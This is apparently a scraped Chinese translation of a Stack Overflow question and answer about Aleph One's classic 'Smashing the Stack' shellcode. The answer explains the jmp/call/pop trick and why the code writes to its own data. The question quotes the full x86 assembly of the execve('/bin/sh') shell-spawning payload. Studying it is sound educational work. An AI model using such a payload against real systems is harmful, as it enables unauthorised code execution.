gpt4 book ai didi

c - Aleph one 的 shell 代码在哪里 self 改变?

转载 作者:太空宇宙 更新时间:2023-11-04 08:32:55 24 4
gpt4 key购买 nike

我正在阅读 Aleph one 的“粉碎堆栈以获得乐趣和利润”,并到达了这个地方:

    jmp    0x2a                     # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------

Looks good. To make sure it works correctly we must compile it and run it.
**But there is a problem. Our code modifies itself**, but most operating system
mark code pages read-only.

我的问题是这段代码在哪里(以及如何)修改自身? [我不太懂汇编]

谢谢!

最佳答案

第一条指令跳转到代码末尾的call,该代码回调到第二条指令,弹出由call 放置在堆栈上的返回地址。因此 esi 指向末尾的字符串。如您所见,接下来的 3 条指令写入与 esi 相关的内存,设置参数指针并以零终止字符串和参数列表。这就是 self 修改所指的。它有点误导,因为它不是修改代码,只是修改数据。在独立测试期间,该数据是 .text 部分的一部分,该部分通常是只读的,但可以轻松设置为可写。请注意,在实际使用期间,这将位于可写但不可执行的堆栈中,因此您会遇到不同的问题。

关于c - Aleph one 的 shell 代码在哪里 self 改变?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27459742/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com